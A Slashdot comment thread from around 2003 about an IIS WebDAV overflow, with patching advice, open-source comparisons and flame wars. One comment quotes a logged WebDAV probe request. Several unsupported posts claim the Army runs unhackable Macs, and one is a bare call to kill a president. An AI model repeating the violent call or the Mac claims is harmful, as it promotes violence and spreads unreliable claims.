  35. Imagine an equivalent by Anonymous Coward · · Score: 5, Informative

    The best way to evaluate this bug is to consider an equivalent attack against competitors. In this case, the main competitor is Apache.

    Cracking Apache in this way would not give you root. While you might be able to get root by using some other local exploit, it's not the slam-dunk that it is on Windows.

    Furthermore, careful admins can run Apache in a sandbox called a "chroot". Properly set up, this means that the attacker can't get to the rest of the system; all they can play with is the Web site.

    So, in summary:

    Its all Microsoft's fault. Its crap software.

    That's a pretty good assessment. The bug itself is a mistake lots of other people have made, but the severity of the mistake isn't.

    1. Re:Imagine an equivalent by Anonymous Coward · · Score: 0

      Of course, running WebDAV on Apache doesn't give you UID impersonation, so it cuts both ways.

  36. OK, so how about by The+Bungi · · Score: 1, Flamebait
    ... that Samba security hole that didn't make it to the front page? And that mySQL vulnerability a few weeks ago? And all the others that are not Microsoft products?

    It seems open source bugs/ exploits/ vulnerabilities are always conveniently buried somewhere other than on the front page.

    Not to say Microsoft software is secure, but hey. "Fair and balanced" never was part of the /. motto.

    1. Re:OK, so how about by Anonymous Coward · · Score: 0

      The SAMBA bug is much more insidious, since it can give an attacker root to a machine that is much less likely to be on a DMZ, like the IIS server would be.

      Thanks for posting that, I never would have known that tonight I get to rebuild, patch, and deal with all the hassles that go along with maintaining a samba pdc.

      You'd think people who care about open source would want to let their fellows know about an issue like this.

    2. Re:OK, so how about by A_Known_Coward · · Score: 1

      I'm sure I'm not the first to point this out to you (or will I be the last)

      The Open Source products you speak of don't run as root by default. A big problem with this recent MS exploit is that IIS runs under the SYSTEM account. Therefore, if the single service is compromised, you can kiss your box goodbye.

      The real underlying problem here is that M$ does not design there products with security in mind. They add all the features they think the public will want, THEN they worry about securing it.

      If M$ would think things through BEFORE launching a product, maybe this type of buffer overflow would only lead to defaced websites and not fully compromised systems (something you almost never see in large Open Source products)

    3. Re:OK, so how about by mrneutron · · Score: 1

      Um, because the number of internet-exploitable IIS 5 systems outnumbers the number of internet-exploitable MySQL and Samba systems by a factor of at least 100 to 1?

      Similar Apache bugs have received 'front page' billing, which is appropriate.

    4. Re:OK, so how about by The+Bungi · · Score: 1
      True. But that doesn't make the Samba bug (which was already being exploited, as this one) any better. Or any other exploit.

      I'm not talking about the technical niceties of the vulnerabilities or why some are worse than others.

    5. Re:OK, so how about by The+Bungi · · Score: 1, Flamebait
      Um, because the number of internet-exploitable IIS 5 systems outnumbers the number of internet-exploitable MySQL and Samba systems by a factor of at least 100 to 1?

      Uh, so what? Isn't this supposed to be an anti-Microsoft and pro-open source gig? If everyone who reads Slashdot is an open source advocate/ zealot/ freak then why bother? Everyone here runs Linux and Samba and Apache and KDE and all that, no? Wouldn't it make more sense to put the other stories on the front page and relegate these to the 'Micro$oft' section? (hey, there's an idea).

      OTOH, if you use Windows and you're getting your security bulletins from Slashdot, well...

    6. Re:OK, so how about by the+eric+conspiracy · · Score: 3, Insightful

      And all the others that are not Microsoft products?

      The sendmail security issue certainly did make the front page.

      The fact is that the Samba problem is unlikely to be exploitable remotely because Samba is generally not exposed to the Internet. In the case of the MySQL issue, it requires a man-in-the-middle attack to pull off arbitrary code execution. Many protocols are vulnerable to this sort of attack - it is also a type of attack that is very hard to pull off.

      Moderators => please mod parent down. The guy is a jackass.

    7. Re:OK, so how about by A_Known_Coward · · Score: 1
      True, there are bugs in OSS. BUT, as I pointed out, the bugs in OSS, on the most part (not all) are MUCH less severe than on M$ systems due to:
      • Programmer Pride (I can name that regexp in 3 notes)
      • Full disclosure of source code (given enough eyeballs...)
      • More mature network-born, multi-user OSes (with many security lessons already learned)
      • Most OSS projects are worked on by programmers with REAL WORLD programming experience instead of being written by someone recruited straight out of college (Like M$ does)
    8. Re:OK, so how about by The+Bungi · · Score: 1
      The sendmail security issue certainly did make the front page.

      Yes it did, that's why I didn't mention it.

      The fact is that the Samba problem is unlikely to be exploitable remotely because [...]

      Yes, I could say that about every evil IE exploit that changes my wallpaper at the behest of a punk in Romania, yet those are the types of "articles" that fill up with thousands of "m$ must dyeing now!!1!" comments. Then again, some of them are truly serious and belong in the front page, like Slammer.

      Moderators => please mod parent down. The guy is a jackass.

      Bite me.

    9. Re:OK, so how about by Watcher · · Score: 1

      Why post it here? Because a number of us work in Microsoft houses. This bug is going to make things a nightmare, because our clients rarely, if ever, bother to install any security patches. Code Red and Nimda were a nightmare to deal with. This affects many of the professionals who read this site substantially, and certainly qualifies as news. I heard about this from slashdot before anyone else did in the company.

    10. Re:OK, so how about by The+Bungi · · Score: 1
      Points 1-3, true. But again, that's not what I was talking about.

      Point 4, bullcrap FUD. So are you saying that the only good programmers in the planet are open source programmers? I'd take offense at that. And I know a lot of people at Microsoft (and Sybase and SAP and a lot of other commercial software companies) that would, too.

    11. Re:OK, so how about by the+eric+conspiracy · · Score: 0, Flamebait

      Yes it did, that's why I didn't mention it.

      And you complain about balance. Look in the mirror.

    12. Re:OK, so how about by Anonymous Coward · · Score: 0
      Moderators => please mod parent down. The guy is a jackass.

      Being a "jackass" is not a reason to mod down, saying something that does not comform to YOUR views is not a reason to mod down, being off topic is, "flaming" is and spaming/trolling is, (s)he is only just not offtopic, the article is a borderline flame, and it is a borderline troll.

    13. Re:OK, so how about by The+Bungi · · Score: 1
      I heard about this from slashdot before anyone else did in the company.

      Not to sound insulting, but if this is where you come to get a heads up with what's happening in the security arena, you need to try harder.

      Really.

    14. Re:OK, so how about by The+Bungi · · Score: 0, Troll
      And you complain about balance. Look in the mirror.

      Yeah, I guess I have to try harder.

    15. Re:OK, so how about by Watcher · · Score: 1

      Not to sound insulting

      Not to be judgemental, but you seem to be determined to throw around an arrogant attitude in this thread.

      if this is where you come to get a heads up with what's happening in the security arena, you need to try harder.

      This is not my only source of news and information on security issues. In this instance, I caught the news about this exploit here before I checked other sites before going home for the night.

      Slashdot publishes articles about major security holes discovered in Apache, Sendmail, and IIS. Immature MS bashing aside, IIS security holes get a lot of notice because they affect a considerable number of users. In my job I've seen client systems exploited heavily by the Code Red, Nimda, and Sadmind worms, amongst others. This affects many of the professionals who read this site. It doesn't matter where I, or others, heard of this information-we got it, and we're acting on it, as quickly as we can. My development server is patched, and every server running in this building will be patched by nights end.

      Frankly sir, you sound like a Monday morning quarter back.

    16. Re:OK, so how about by /dev/trash · · Score: 1

      Well, I think it's more of: "Which app is used more?" than: "Which apps do we like?"

    17. Re:OK, so how about by The+Bungi · · Score: 1
      Frankly sir, you sound like a Monday morning quarter back.

      You can get your security advisories any way you want. More power to you, I say.

    18. Re:OK, so how about by derubergeek · · Score: 1
      Wouldn't it make more sense to put the other stories on the front page and relegate these to the 'Micro$oft' section?

      Let's run with this one! I suggest deleting the MS section and dropping MS stories altogether (aside from MS actions that are attacks on the OS community).

      That might make it a lot less fun for the WinTrolls. Although the MS section has the benefit of keeping the WinTrolls on the defensive. I'm not really sure why they hang out here. I suppose it's a lot like the pro-MS morons at comp.sys.mac.advocacy...

      --
      Trust me. This is an inactive account. Regardless of what the /. bean counters might report.
    19. Re:OK, so how about by The+Bungi · · Score: 1
      I suggest deleting the MS section and dropping MS stories altogether

      And watch in amazement as traffic to Slashdot drops dramatically.

      Heck, you could blame that on Bill Gates!

    20. Re:OK, so how about by derubergeek · · Score: 1
      >I suggest deleting the MS section and dropping MS stories altogether

      And watch in amazement as traffic to Slashdot drops dramatically.

      You really think the WinTrolls generate that much traffic here? You may be right...

      Heck, you could blame that on Bill Gates!

      Are you Bill Gates? No, I guess that would be 'The Billg'...

      --
      Trust me. This is an inactive account. Regardless of what the /. bean counters might report.
    21. Re:OK, so how about by Tony-A · · Score: 1

      if this is where you come to get a heads up with what's happening in the security arena, you need to try harder

      Why?

      Slashdot has been quite timely and effective for:
      Melissa
      Love Bug
      Code Red
      Nimda
      Slapper

    22. Re:OK, so how about by The+Bungi · · Score: 0, Offtopic

      This HTML thing just doesn't work out for you, does it?

    23. Re:OK, so how about by derubergeek · · Score: 1
      This HTML thing just doesn't work out for you, does it?

      The mark of a true troll. Criticize format & tipos when intellect fails you.

      (BONUS: I even used an non-English spelling for tipo just to give you something to respond to).

      --
      Trust me. This is an inactive account. Regardless of what the /. bean counters might report.
    24. Re:OK, so how about by The+Bungi · · Score: 1
      The mark of a true troll. Criticize format & tipos when intellect fails you

      You speak of "intellect" yet you fail to display any of your own. Surely your "WinTroll" repertoire is more varied than "The Billg"?

      (BONUS: I even used an non-English spelling for tipo just to give you something to respond to).

      I'm sure you did.

  37. Looks like the "bad guys" found this first by SmirkingRevenge · · Score: 1

    MSNBC has an interesting article about this attack being used on an Army machine. What's good to note is that the attackers discovered the flaw, NOT security researchers which is the norm.

    1. Re:Looks like the "bad guys" found this first by SmirkingRevenge · · Score: 1

      Sorry, here's the link

  38. Re:Don't ask, dont tell by Anonymous Coward · · Score: 0

    Its a known fact in many press releases that the US army uses macs as servers and the ones that recently avoided usingh mac got quickly rooted with secret unpublished IIS exploits :

    http://www.msnbc.com/news/886524.asp?0dm=C11KT

    I doubt the Army will make that mistake again.

    Everything in that post was 100% factual, shame on you you anti-security anti-mac bigot.

  39. Apache security alerts? by burgburgburg · · Score: 4, Insightful
    Would you also send them the list of Apache security alerts? Or is that too much truth for you?

    All seven of them? All long fixed? Page not updated since January 23, 2003? I'd LOVE to send them that. Comparing that to the long and varied string of IIS compromises/failures/destruction would be enough to get even the pointiest headed boss to make the switch. Good idea. Thanks!

    1. Re:Apache security alerts? by RylandDotNet · · Score: 2, Interesting

      Not to mention that the first two are for Apache running under Windows. *cough*

    2. Re:Apache security alerts? by Anonymous Coward · · Score: 1, Insightful

      Well, there has been 4 security alerts regarding IIS5 since April 2002 (that's when Apache 2.0 was released)... So 7 is a pretty high number then....

    3. Re:Apache security alerts? by azimir · · Score: 2, Interesting

      I love that list of vulns for apache!

      Not only are they older, they almost all have one thing in common: they are for apache on Win32.

      Only one or two of the seven affected a UNIX platformed apache.

      It seems that the vulns for Win32 revolve around getting the '/' vs '\' right and how they do their path checking.

    4. Re:Apache security alerts? by Penguin+Follower · · Score: 1

      3 of those 7 are apache-on-windows alerts... so that leaves 4 for *nix... that's less than the five for IIS 5.0 :P

    5. Re:Apache security alerts? by anonymous+cupboard · · Score: 1

      It would appear that these vulnerabilities are for the pure Win32 version of Apache and do not apply to the Cygwin version which has the '/' as the directory separator.

  40. I wonder if it's related to this intrusion.. by TheNarrator · · Score: 4, Insightful
    http://www.msnbc.com/news/886524.asp?0cv=CB20

    March 17 -- A computer intruder armed with a secret, particularly effective attack tool recently took control of an Army Web server, MSNBC.com has learned. Both Microsoft and the CERT Coordination Center released hastily-prepared warnings about the vulnerability that led to the attack on Monday. But it was a disturbingly successful attack, experts say, because the intruder found and exploited a flaw that took security researchers completely by surprise.
  41. This is perfect! by dze · · Score: 2, Funny

    I just ran into a problem today on one of our development web servers, trying to get an ASP to run a windows shell script with particular permissions. Anyway, executing arbitrary code in the Local System Context -- this is just the feature that I've been looking for!

    --

    "Luck is the residue of design" -- Branch Rickey
  42. Sorry for feeding the trolls, but by expro · · Score: 4, Insightful

    Your first three paragraphs were quite good and interesting.

    Your fourth is full of idiocy.

    I think this story is a bit overblown. Umm, not at all. It is quite a serious incident.

    It appears that most /.'s don't like microsoft

    Tell me, is this the first time you noticed that? Not much analytical thought going on upstairs, is there?

    and thats sad because microsoft is the driving company behind many many jobs They suck a very disproportionate chunk of money out of the market, they are in a position where innovation is much too risky, they are in such a controlling position that they are even greatly profitable against the trend of the rest of the market. The IBM PC pushed the boom. DOS and Windows have ridden the wave and placed Microsoft in the position of punishing any software company and they keep expanding -- that becomes too successful in the name of feeding their monstrous appetite. DOS and Windows sucked for many years, but were small and people ignored the control that was being given such an unworthy producer.

    They drive their own jobs with lots of marketing and billions to spend on research, which would be much better used in a large market of competing thriving software vendors, like we had before Microsoft used monopolistic business models to destroy them all. If you become successful, Microsoft is guaranteed to take it away from you. That is successful for Microsoft and creation of Microsoft jobs, but far from good for America or the world.

    The arrival of windows pushed the last boom. No questions about that. Unix had been around for 20 yrs and no boom. Windows and the net and look at how things accelerated..why..because ma/pa people use windows..not *nix. Just the facts.

    You mentioned facts? The boom came on the backs of now-defunct companies who pioneered their fields, such as word processing, networking, compilers, OO Languages, etc. none of which was pioneered by Microsoft. But Microsoft was good at using software ownership to take these things away from their innovators. And now you have come full circle to why many developers are congregated here and do not always hold Microsoft in high regard.

    But you knew that, didn't you? Perhaps you are AC because your large company is Microsoft?

    1. Re:Sorry for feeding the trolls, but by Anonymous Coward · · Score: 0

      FYI: The parent's HTTP_USER_AGENT string is:

      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)

    2. Re:Sorry for feeding the trolls, but by Anonymous Coward · · Score: 0

      How can you get User-Agent on Slashdot?

  43. Strange HTTP activity by Anonymous Coward · · Score: 0

    Does this explain my weblogs having
    PROPFIND /ADMIN%24
    in them ?

    My SGI doesn't know what ADMIN$ is.
    Is there a Micro$oftese font pack for SGI ??? SGI won't speak to me unless I get a service agreement!

  44. Web security documentation and IIS by Anonymous Coward · · Score: 0
  45. Quite handy solution by decarelbitter · · Score: 4, Informative

    If you have to use IIS for some reason, put a Squid proxy running on your favorite OS in front of it. It will save you a lot of trouble.

    1. Re:Quite handy solution by evilviper · · Score: 1

      Uhhhh, I think not! Sure, it's a good idea to have a proxy in front of your webserver, but Squid has had quite a nasty security record of it's own. There are a good many other proxies to choose from... Perhaps a Java-based proxy would be best from a security standpoint.

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  46. Re:Don't ask, dont tell by Anonymous Coward · · Score: 0

    The word "mac" doesnt appear once in the msnbc article.

    And in the 5 years I've done contract work at the pentagon, I've yet to see a violet colored iMac or pretentious powerbook.

    In short, you are full of shit.

  47. Go Mono! - Re:Gartner Group by Malc · · Score: 2, Interesting

    "Eventually MSFT will have to deliver your "mission critical" ASP runtime for Apache, and the world will be a better place because of it."

    Why wait for Microsoft when ASP.Net is already being ported?

    1. Re:Go Mono! - Re:Gartner Group by glenstar · · Score: 1
      Mono's ASP.net is nowhere near ready for prime-time, but it's certainly getting there. If you absolutely need to run ASP (not ASP.net), use ChiliSoft's (now part of Sun) Chili!ASP. It's pretty good and the vast majority of ASP was ported.

      Then again, using Chili!ASP on a Solaris box is sort of like installing SONET in your house for your two node network... or something like that.

  48. Here's an idea... by 0x1337 · · Score: 1, Offtopic

    Instead of wasting money and time plugging every hole in IIS, why just not use Apache or Zope?

    Both run on Win32. Both are free. Both are stable. Both are fast. Both are good.

    1. Re:Here's an idea... by Anonymous Coward · · Score: 0

      Both have been exploited in the past.

      And neither serve ASP pages.

      Why dont you grow up, get a job, see how things work in real life, and then criticize everyone else?

    2. Re:Here's an idea... by 0x1337 · · Score: 1

      OMG... ASP pages... Aww... whut_ever_ is the world EVER going to do without ASP? Yes, you are correct. Both have been exploited in the past. But I have yet to see such an exorbitant amount of bugs in any Open-Source product. Were you around to witness NT 4.0 and IIS 3.0? *shudder* Might as well put a "hack me" sign on your server.

    3. Re:Here's an idea... by Anonymous Coward · · Score: 0

      if ya switch OS (to Linux) ya kan.

    4. Re:Here's an idea... by jazman_777 · · Score: 1
      Both run on Win32. Both are free. Both are stable. Both are fast. Both are good.

      But, ACKK PHFFFTPPPT!!! are they from Microsoft? Ack Phfffpt!

      --
      Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
  49. News on CNN by stratjakt · · Score: 0, Offtopic

    o/t but check out this incredibly intelligent and insightful article on CNN.

    File-sharing sites allow trading of porn

    WASHINGTON (CNN) -- The same technology used to download music from file-sharing sites makes it possible to trade pornography, tech experts testified at a Capitol Hill hearing Thursday

    -----

    Who says the government doesnt have my best interests in mind?

    My tax dollars at work. Now I can get porn on KaZaa, too.

    --
    I don't need no instructions to know how to rock!!!!
  50. It's clear that you don't understand security... by marick · · Score: 0, Troll

    WebDAV is more like a VPN. Sure, you COULD set it up poorly and give everybody access to all your documents.

    On the other hand, using any number of authentication schemes (including through an LDAP server, behind a firewall), you can lock it down as tightly as you'd like. And yes, it runs over HTTPS as well as HTTP, so even your port 80 crack is laughable.

    Or perhaps you think all web-based applications are inherently insecure? (I'd like some evidence to back this one up)

  51. www.army.mil, hundreds of other .mils !!! by Anonymous Coward · · Score: 0

    http://www.webstar.com/press/press_releases/pr0914 99.html

    The mac securtiy post is 100% factual. With the recent root-defacement of http://www.msnbc.com/news/886524.asp?0dm=C11KT It seems the Army will stick with Macs for more of its .mil sites (even though many pretend to FINGER and respond as non-macs). Simple server sniffing logic based on characterizations detect what OS it REALLY is, but sniffing.mil sends americans to jail.

  52. Kill 1 Mad Guy (Bu$H) - Save 1 Mio. Lives by Anonymous Coward · · Score: 0

    Kill 1 Mad Guy (Bu$H) - Save 1 Mio. Lives

  53. GET SOME PRIORITIES by Anonymous Coward · · Score: 0

    The worst spacial incident in recorded history occurred only a few months ago and you people are talking about exploits in IIS yet again?!?! My GOD, people, GET SOME BLOODY PRIORITIES!

  54. Doesn't help at all (example) by Wolfier · · Score: 3, Interesting

    Incompetent sysadmins still are the weakest link.

    Take a look at the World Health Organization South-East Asia web site:

    http://w3.whosea.org/index.htm

    They're running IIS 4.0. FOUR.POINT.ZERO.

    The deface has been there for almost a day with apparently no fix yet :(

    1. Re:Doesn't help at all (example) by the+eric+conspiracy · · Score: 5, Insightful

      Incompetent sysadmins still are the weakest link.

      I don't agree with that. Microsoft itself can't keep up with the patch schedules; its servers regularly get hacked. Who has more resources than Microsoft? Nobody.

      The fact is that if you are running a mission critical server you must test before deploying a patch. That takes time and money that the IT group has in short supply these days.

      Then there is the issue of Microsoft's marketting - they sell IIS as the easy to use 'zero maintenance' lowest TCO choice. False advertising in this case.

    2. Re:Doesn't help at all (example) by Anonymous Coward · · Score: 0

      Defacing WHO's website just shows you're a dumbass.

      I hope that defacer die in a most disgusting way, or get infected with all these recent outbreaks.

  55. Windows Update by fudgefactor7 · · Score: 2, Informative

    You know, if people periodically checked Windows Update, this would not be that big of a deal; additionally, if you have SP3 installed you can tell it to automagically install any critical updates for you without prompting. Case solved.

    1. Re:Windows Update by TheSunborn · · Score: 1

      But the problem is that after someone install a update which cause their workstation to lose all network support it become very hard to tell him he still needs to install all updates.

      There are days where I think an unpatched windows, and a firewall that refuse all ingoing connections are the most stable(Least downtime) solution.

    2. Re:Windows Update by Anonymous Coward · · Score: 0

      Windows Update doesn't install network drivers automatically, only critical updates.

    3. Re:Windows Update by gad_zuki! · · Score: 1

      Lets see, I ran windows update today just to see if it checks for updates for services.

      Nope. Nothing.

      Ran MS's baseline analyzer to see what patches I was missing.

      Windows Update is for the end user and only focuses on IE, Media Player, etc. Its not designed for servers.

    4. Re:Windows Update by markclong · · Score: 2, Informative

      I just finished updating 10 IIS servers running in a load-balancing configuration for a single ecommerce site. I got the CERT email, went to Windows Update, checked for updates, installed updates and rebooted. Problem solved. It took about a half hour to do it. The site was never down, not for even a second, and the vulnerability was fixed with a few mouse clicks. Windows Update will take care of most of the problems. It works very well on servers. These machines are all Windows 2000 Advanced Servers.

    5. Re:Windows Update by Jack+Comics · · Score: 1

      The Auto-Install of Critical Updates is fine and dandy ... but what is truly a critical update? Microsoft's Windows Update listed Internet Explorer 6, Service Pack 1 as a critical update while I was using Internet Explorer 5.5, Service Pack Two. Critical? Hardly.

      --
      "We are all in the gutter, but some of us are looking at the stars." - Oscar Wilde
  56. Hmmm... by spanky1 · · Score: 1

    I don't think that's right. It may change the exact number of bytes necessary to smash the stack, but an unchecked buffer is an unchecked buffer.

    I'm guessing that the IIS in XP might be vulnerable, but that IIS should only be used for testing on not a live site. Who wants to run a live site on XP Pro when it's limited to 10 connections (and a single web browser will typically open 4 connections)?

  57. Thank you by jobugeek · · Score: 1
    ASP forces us to use IIS. I'm not bothered by that. Use the tools MS gives you!

    URLscan along with the IIS lockdown, keep me from worrying about much of anything. Only a hack to the ASP ISAPI would get me worried. Do I wish that these tools were incorporated into IIS to begin with? Yes, but you can only bitch for so long before you look stupid for not locking it down yourself.

    --
    I'm not drunk, I just have a speech impediment. And a stomach virus. And an inner ear infection.
  58. Slight problem with that by Groo+Wanderer · · Score: 5, Interesting

    The problem with this patch is that it wasn't found by a white hat and submitted. It was discovered by people getting hacked and calling MS asking WTF. In cases like that, 5 days isn't really that bad. In cases where an exploit, along with vulnerability code, and a description are fed to devs on a platter, open source or not, it makes the task 10x easier. When you have to figure out what is going on while under fire, and in a hurry, things get messy. That said, you can hack a lot of systems in 5 days with the right script.

    -Charlie

    1. Re:Slight problem with that by BigBadBri · · Score: 1
      So none of those who were affected gave M$ their logfiles?

      If they did, then it's the same as feeding it to them "on a platter".

      How does it take M$ 5 days to do what these open source hippies can do in a day?

      --
      oh brave new world, that has such people in it!
    2. Re:Slight problem with that by shird · · Score: 1

      There aren't necessarily any logs - I don't know the technical details, but given that you gain Local system access, a) it is more than just user level stuff - the exploit may occur before the logs are written b) with local system access, you could remove the logs, which you may very well do if you want to keep the exploit hidden for longer.

      Give these guys a break, 5 days is pretty damn good given the circumstances. MS do a lot of regression testing, which is much more professional, unlike Apache, who just expect you to be runnning the latest configuration.

      --
      I.O.U One Sig.
    3. Re:Slight problem with that by jelle · · Score: 1

      Looks to me like bugs in open source software are found by white hats first, and in closed source...

      --
      --- Hindsight is 20/20, but walking backwards is not the answer.
  59. WindowsUpdate by NetJunkie · · Score: 1

    It's already on WindowsUpdate, so it makes for an easy patch. Just the damned reboot...

    But let's not get too smug, there have been a number of open source exploits found lately. They just don't seem to make it to the front page of Slashdot...for some reason. :)

    1. Re:WindowsUpdate by Anonymous Coward · · Score: 0

      this patch didn't require a reboot for me.

  60. Actually not. by Groo+Wanderer · · Score: 1

    No, is it mandated under the DOJ settlement. Look at page 193, par. 19, lines 12-13, the 'punishment' section. It clearly states that MS shall, as a result of being found guilty of several very bad things, suffer harsh penalties. Those penalites are putting a penguin on several pages of the site, and forcing a junior VP to apologise to at least 3 random people on the street. That'll learn em.

    -Charlie

  61. Editorial bias? by m00nun1t · · Score: 4, Insightful

    Sure, another MS exploit. Seems to be one almost every week, and it sucks.

    What I do find interesting is that /. chose to post this article, but reject an article I submitted yesterday about a very serious security hole in Opera - Opera describe it as "extremely critical".

    I'm not griping about having my story rejected, I've had many rejected and a few accepted, and that's the way things are, no problem. What I am questioning is the editorial bias. Here we are at a website which probably has one of the highest concentration of Opera users of any website in the world, and they chose to not post a negative story about "the good guys" (which has exploits in the wild) but did choose to post a negative story about "the bad guys".

    Just more of /. displaying an unfair bias?

    1. Re:Editorial bias? by Anonymous Coward · · Score: 0

      Since when whas the opera desktop web browser an internet information server deemed by the seller to be 'enterprise ready', and labeled 'secure' because of a yearlong 'trustworthy computing' project they have had to get rid of those bugs?

      Was the opera bug found because people were getting hacked and asking opera why?

    2. Re:Editorial bias? by muzzmac · · Score: 1

      Since when has Trustworthy Computing had anything to do with IIS5?

      Wait till 2003 comes out to slam them on this one. You'll get your chance.

  62. Language is the answer? by whereiswaldo · · Score: 1

    Excuse the lame question, but is there _any_ computer language out there that can completely prevent buffer overflows and other common attacks?

    This possibly endless, iterative procedure for every_single_program_written out there is getting very tiresome. When is a program totally secure, or better yet, is any program ever secure from any future attacks?

    At the least, this certainly isn't the FUTURE of computing (I hope!).

  63. ironic isn't it? by CoyoteGuy · · Score: 1

    First, our nation is faced with a war within 48 hours, then I pickup the link to a MS patch on Slashdot... What next? Hell freezing over in a week???

    --
    Slashdot.. Land of nerds, trolls, and FlameBait..
    1. Re:ironic isn't it? by Anonymous Coward · · Score: 0

      The apocalypse began on September 11, 2001. So, yeah, I'd say the world is coming to an end.

  64. Seeing as Linux is so 100% secure and bug-free... by Anonymous Coward · · Score: 0

    ...yeah.

    Let's all laugh, shall we?

  65. Yes, indeed... by Tom7 · · Score: 3, Interesting

    Any safe language prevents against buffer overflow attacks, printf-style bugs, heap corruption and double-free bugs. Java or O'Caml or SML would be good choices. SML also protects against integer overflows. SML and O'Caml, for their parts, are only about 20% slower than C and a whole lot more fun to program in.

    I wrote an FTP server in SML (http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/to m7misc/net/mlftpd/) so I wouldn't need to worry about buffer overflows any more. It was really easy. It blows my mind that all of the security-obsessed unix people are still manually putting in their buffer length (etc.) checks in tortured legacy C code, when they could so easily have a set of daemons that are totally immune to that sort of attack.

    Of course, any language that lets you write interesting programs (ie, "telnetd") will also let you write programs with security holes. (In a sense, telnetd is itself a security hole, provided you have the password!) But having the compiler automatically ensure that the largest class is impossible gives you a lot more time to work on other, more subtle security problems.

    1. Re:Yes, indeed... by derubergeek · · Score: 1

      And there's also our old, much maligned friend Ada which performs range constraints on buffers to prevent overflow.

      --
      Trust me. This is an inactive account. Regardless of what the /. bean counters might report.
    2. Re:Yes, indeed... by Anonymous Coward · · Score: 0

      I'm going to have to take issue with this. Those languages SUPPOSEDLY prevent such issues for you. Do they? I don't know. AND NEITHER DO YOU. One of the big advantages of C code is that this sort of thing is done manually, and there are times compilers simply can't be trusted (i.e. if a computer getting broken into could cost human lives). Yes, other languages are good for small projects, but when it comes down to it I'd rather have a team of humans reviewing eachother's code than a compiler which could very well have unknown bugs.

      I'd also like to point out that the 20% speed increase is pretty massive. In fact, for any task where speed is an issue at all, that's totally unacceptable. I notice you don't even bother claiming Java is anywhere near C speed -- good choice.

    3. Re:Yes, indeed... by karlm · · Score: 1
      I'm not sure where he got the 20% figure. The only benchmarks I've seen but native-compiled O'Caml between C and C++ in terms of speed. 20% is a huge hit, I agree. It depends a lot on what the benchmarks are. O'Caml can use 31-bit integers much faster than 32-bit or 64-bit integers. This is for Zinc (O'Caml VM) bytecode. The native compiler may be able to make 32-bit ints just as fast as 31-bit ints. O'Caml memory management is lightyears ahead of ay JVM I'm aware of, but I don't recall how to turn off garbage collection or if it's even possible. I agree that you need to be very careful about using anything but Fortran/C (C++ may be pushing it) in a high-load enterprise server b/c a few percent may make the difference between a practicall down server and a merely laggy server.

      Your argument about automatic checks holds no water. If you are worried about the compiler screwing up the checks, then add your own manual bounds checks in the code. Nobody makes compilers that try and be so smart as to detect and remove unnecessary manual bounds checks. You can use your own bounds checks and have the automatic ones as a safety net.

      Quite honestly, I'd love to see a version of libc without %e doing anything in format strings, as this would eliminate format string vulnerabilities. Are there compilers out there that will refuse to compile single-arguement printf()s or automagically replace printf(str) with printf("%s", str)? Someone was on crack when they decided they wanted printf to be able to modify its arguments. While I'm griping about libc, who the hell came up with the strncpy syntax? This is a huge source of "off by one" errors. On little-endian systems with a downwad-growing stack (*cough* x86 *cough*) that one null byte overflow is epecially likey to be exploitable.

      --
      Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
    4. Re:Yes, indeed... by Tom7 · · Score: 1

      An AC flames,

      >

      Well, first of all, I am a programming languages/compilers researcher, so actually I do know. Some of these languages (or subsets) have even had their safety proven formally. That aside, from a practical standpoint there are still arguments for why this way is better:

      These checks happen to be really easy to do, and pretty damn hard to screw up in the context of a compiler. Basically, at every array access you can insert a check that it is in range. Compilers that optimize away some bounds checks (hoisting them outside loops) are somewhat more subject to bugs, although some technologies like typed assembly language can make this, too, just as hard to screw up. In any case, compiler writers are actually pretty good at catching the corner cases and getting this stuff right. (If you know of any bugs in the bounds checking code of a compiler for a safe language that could reasonably lead to an exploitable hole, I'd love to hear it. I don't. On the other hand, there are hundreds of examples of C code that has such bugs.)

      Second, C compilers are also subject to bugs, so using a C compiler doesn't save you from that, anyway.

      Finally, the compiler is really just providing an extra layer of security. In these languages you are still quite free to verify that you are doing the right thing -- and indeed you should be. But the compiler backs you up in the cases you miss, unlike C. Given the precedent, I really hope people are not using pure will-power-debugged C code to ensure the safety of human lives! I know that, for instance, BMW uses model-checking (a related technology) to ensure the proper operation of their vehicle software; they do NOT trust their programmers to just figure it out in their heads.

      >

      Perhaps. For network daemons, the CPU time is usually insignificant compared to other bottlenecks -- the disk and network. Those are the most security critical pieces. Perhaps some serious shops would need to have hand-tuned assembly language daemons, but for most users, 20% more cpu would be insignificant compared to the security gain.

      More importantly, writing your code in a high level, safe language where you don't need to agonize over the rote security details (and often get them wrong!) gives you a lot more time to optimize your program in ways that really matter. So, even though the *same program* might be 20% slower, the program that you can write in the *same time* may very well be faster.

      In any case, I don't see how anyone can possibly argue that our current approach to preventing buffer overflows is working. We need to try SOMETHING else, clearly, and I think this is a pretty good alternative!

  66. this troll again! by RelliK · · Score: 4, Informative

    This post is a lot like the "BSD is dying" troll that's just not going away. Every once in a while some idiot posts it, and a few other idiots moderate it up. Anyway, on to debunking.

    The MacOS running WebStar and other webservers as has never been exploited or defaced, and are are unbreakable based on historical evidence.

    Really? Is that because it crashed every time someone tried to access it? Considering that MacOS does not even have preemptive multitasking or proper memory protection, it's not that hard to imagine. MacOS has a really nice GUI, but in terms of technology it is behind even Windows 95.

    In fact in the entire SecurityFocus (BugTraq) database history there has never been a Mac exploited over the internet remotely.

    Hmmm, there are no exploits for DOS either. Are we to conclude that DOS is the most secure OS ever?

    No command shell...

    BFD! If you gain control of a process (through buffer overflow, for example) and manage to execute your own code, you still have complete control of the system. Heck, the current bug in IIS has nothing to do with exploiting shell.

    No Root user.

    The troll is only getting better. Ladies and gentlemen, it has come to our attention that the competitors' cars have malfunctioning seatbelts and thus cause injuries to passengers in a collision. Our MacCar has no seatbelts, therefore it is not vulnerable to collisions.
    You know, IIS also runs as root (or rather LocalSystem in NT terms). By always running as root there is no false sense of security and programming is done carefully. Doesn't seem to help though...

    Pascal strings.... As you know Pascal strings (length prefixed) are faster than C...but the side effect is less buffer exploits

